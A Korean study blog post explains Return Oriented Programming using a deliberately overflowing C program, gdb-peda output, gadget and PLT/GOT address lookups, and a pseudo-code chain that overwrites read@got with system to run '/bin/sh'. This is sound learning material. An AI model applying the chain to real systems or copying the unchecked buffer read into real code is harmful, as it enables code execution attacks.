본문 바로가기

포너블/개념

Return Oriented Programming(ROP)

이글은 저의 학습을 위해 이출처를 바탕으로 내용을 간단하게 정리한것입니다.

ROP 이라는 뜻은 공격자가 NXbit나 Code signing과 같은 보안 방어가있는 상태에서 코드를 실행할 수있게 해주는 기술입니다. (RTL + Gadgets)

 

이 기법에서 공격자는 프로그램의 흐름을 변경하기 위해 스택 오버플로우 취약점이 필요하고, 가젯이라는  해당 프로그램에 사용하는 메모리에 존재하는 기계 명령어가 필요합니다.

 

가젯은?

- 기존 프로그램 또는 공유 라이브러리 코드 내의 서브 루틴에 존재하는 각 가젯은 반환 명령어인 ret으로 끝이 난다.

- 가젯과 취약성을 이용하면 익스플로잇을 실행할수 있다.

 

Gadgets - POP; POP; POP; RET

  • ROP는 기본적으로 RTL 기법을 이용하며, 공격자는 RTL과 Gadgets을 이용해 공격에 필요한 코드를 프로그래밍 하는 것입니다.

우리가 배운 RTL 공격기법은 return 주소에 system 함수를 넣어 공격을 하였다. 하지만 여러 다양한 상황에 따라 system 함수로의 RTL만 이용하기는 어려웠고, 여러개의 함수 호출이 필요하여 만들어졌다.

 

스택 주소 설명

0xffffd57c

시스템함수를 호출

return address의 위치(ebp+4)

0xffffd580

시스템함수가 return할 주소의 위치  
0xffffd584 system 함수에 들어갈 첫번째 인자  
    • 여러 개의 함수를 호출하기 위해 사용되는 것이 Gadgets이며, 기본적으로 다음과 같은 Gadgets 이 사용됩니다.
      • 호출 하는 함수의 인자가 3개 일 경우 : "pop; pop; pop; ret"
      • 호출 하는 함수의 인자가 2개 일 경우 : "pop; pop; ret"
      • 호출 하는 함수의 인자가 1개 일 경우 : "pop; ret"
      • 호출 하는 함수의 인자가 없을 경우 : "ret"
    • 해당 Gadgets들의 역할은 ESP 레지스터의 값을 증가시키는 것입니다.
      • RTL에 의해 호출되는 함수에 전달되는 인자 값이 저장된 영역을 지나 다음 함수가 호출될 수 있도록 하는 것입니다.
      • 32비트 바이너리에서는 pop 명령어의 피연산자 값은 중요하지 않습니다.

 

  • 다음과 같은 방법으로 여러 개의 함수를 연속해서 실행할 수 있습니다.
    • RTL에서 호출할 함수(주소 값이 저장된)의 다음 영역은 해당 함수가 종료된 후 이동할 Return Address 영역입니다.
    • 해당 영역에 Gadgets의 주소를 저장함으로써 연속해서 다음 함수가 호출될 수 있습니다.
    • 아래의 구조는 read() 함수 호출 하고나서 System() 함수를 호출하게 되는 과정입니다..

ROP 구조

0xffffd57c

Read 함수의 주소

return address 의 위치(ebp+4)

0xffffd580

가젯의 주소(pop;pop;pop;ret)  
0xffffd584 첫번째 인자  
0xffffd588 두번째 인자  
0xffffd58C 세번째 인자  
0xffffd590 시스템 함수의 주소  
0xffffd594 시스템 함수 주소 호출후 다믐 리턴할 주소  
0xffffd598 첫번째 인자  

PLT & GOT

  • 프로시저 링키지 테이블(PLT)에는 동적 링커가 공유 라이브러리의 함수의 호출을 위해 코드가 저장되어 있습니다.
  • 전역 오프셋 테이블(GOT)에는 동적 링커에 의해 공유 라이브러리에서 호출할 함수의 주소가 저장됩니다.
    • 각각의 정보들은 ".plt"와 "got.plt" 섹션에 저장되고, 이 섹션은 공격대상이 되어, 주로 힙, ".bss" Exploit에 의해 포인터 값의 변조가 가능합니다.
  • ROP에서는 해당 정보들을 유용하게 활용할 수 있습니다.

디버그

  • 다음과 같이 PLT & GOT 영역의 내용 및 값의 변경을 확인할 수 있습니다.

    핵심정리

    read함수의 plt, got 영역의 주소 - .plt의 주소는 0x8048300, .got.plt의 주소는 0x804a00c

    read@plt 영역에는 libc에서 read() 함수를 호출하기 위한 코드가 저장되어 있습니다.

     

    read@plt 의 코드의 분석

    • read@got(0x804a00c) 영역에 저장된 주소로 이동합니다.

    • read@got(0x804a00c) 영역에는 <read@plt+6>(0x8048306)영역의 주소가 저장되어 있습니다.

      (그 이유는 read() 함수가 그 프로그램에서 아직 호출되지 않아서 그렇기 때문이다.) 
    • <read@plt+11> 의 "jmp 0x80482f0" 코드에 의해 _dl_runtime_resolve() 함수를 호출합니다.

      (해당 함수는 libc에서 찾고자 하는 함수(read)의 주소를 .got.plt 영역에 저장합니다.)
    • read() 함수가 호출된 후 read@got(0x804a00c)영역에는 libc의 read() 함수 주소가 저장되어 있습니다.

     

Example code

rop.c

#include <stdio.h>

#include <unistd.h>

  

void vuln(){

    char buf[50];

    read(0, buf, 256);

}

 

void main(){

    write(1,"Hello ROP\n",10);

    vuln();

}

GDB 이용해서 분석하기

Overflow

  • 다음과 같이 Breakpoints를 설정합니다.
    • 0x0804843b : vuln 함수 코드 첫부분

    • 0x0804844f : read() 함수 호출 전

Breakpoints

gdb-peda$ b *0x0804843b

gdb-peda$ b *0x0804844f

Dump of assembler code for function vuln:

   0x0804843b <+0>:   push   ebp

   0x0804843c <+1>:   mov    ebp,esp

   0x0804843e <+3>:   sub    esp,0x48

   0x08048441 <+6>:   sub    esp,0x4

   0x08048444 <+9>:   push   0x100

   0x08048449 <+14>:  lea    eax,[ebp-0x3a]

   0x0804844c <+17>:  push   eax

   0x0804844d <+18>:  push   0x0

   0x0804844f <+20>:  call   0x8048300 <read@plt>

   0x08048454 <+25>:  add    esp,0x10

   0x08048457 <+28>:  nop

   0x08048458 <+29>:  leave 

   0x08048459 <+30>:  ret   

우리는 이 어셈블리어를 바탕으로 gdb를 이용해서 취약점을 파악할수 있는데, 리턴 주소(0xffffd5dc)와 buf의 시작 주쇼((0xffffd59e)를 알아내고, 그 주소의 차가62이므로

 62개 이상의 문자를 입력한다면 return 주소를 덮을수 있습니다.

 

Exploit 방법

  • ROP 기법을 이용한 Exploit의 순서는 다음과 같습니다.

Exploit 순서

  1. read 함수를 이용해 "/bin/sh" 명령을 쓰기 가능한 메모리 영역에 저장

  2. write 함수를 이용해 read 함수의 .got 영역에 저장된 값을 출력
  3. read 함수를 이용해 read 함수의 .got 영역에 system 함수의 주소로 덮어씀
  4. read 함수 호출 - read .got 영역에 system 함수의 주소가 저장되어 있기 때문에 system 함수가 호출됨

ROP code 

read(0,writableArea,len(str(binsh)))

write(1,read_got,len(str(read_got)))

read(0,read_got,len(str(read_got)))

system(writableArea)

  • payload를 바탕으로 공격을 위해 알아내어야 할 정보는 다음과 같습니다.

확인해야 할 정보 목록을 정리하면

1. "/bin/sh"명령을 저장할 수 있는 쓰기 가능한 메모리 공간

2. read(), write() 함수의 plt, got

3. system() 함수의 주소

4. pop,pop,pop,ret 가젯의 위치

익스플로잇을 위해 찾아야할것들

1.가젯 찾기

peda

  • 다음과 같이 peda에서 필요한 Gadgets을 찾을 수 있습니다.

Find gadgets - peda

gdb-peda$ ropgadget

ret = 0x80482d2

popret = 0x80482e9

pop2ret = 0x80484ea

pop3ret = 0x80484e9

pop4ret = 0x80484e8

addesp_12 = 0x80482e6

addesp_16 = 0x80483a5

gdb-peda$

2.plt, got의 주소찾기 - read, write

  • 다음과 같이 peda에서 .plt, .got 영역을 확인 할 수 있습니다.

Find plt, got address - read, write

gdb-peda$ elfsymbol read

Detail symbol info

read@reloc = 0

read@plt = 0x8048300

read@got = 0x804a00c

gdb-peda$ elfsymbol write

Detail symbol info

write@reloc = 0x10

write@plt = 0x8048320

write@got = 0x804a014

gdb-peda$

3.시스템함수의 주소 찾기

  • 다음과 같이 system 함수의 Address, offset을 확인할 수 있습니다.

Address of the system() function

gdb-peda$ p read

$2 = {<text variable, no debug info>} 0xf7edc350 <read>

gdb-peda$ p system

$3 = {<text variable, no debug info>} 0xf7e42940 <system>

gdb-peda$ p/x 0xf7edc350 - 0xf7e42940

$4 = 0x99a10

gdb-peda$

 

 

'포너블 > 개념' 카테고리의 다른 글

FAKE EBP  (0) 2020.05.26
RTL(return to libc)  (0) 2020.05.21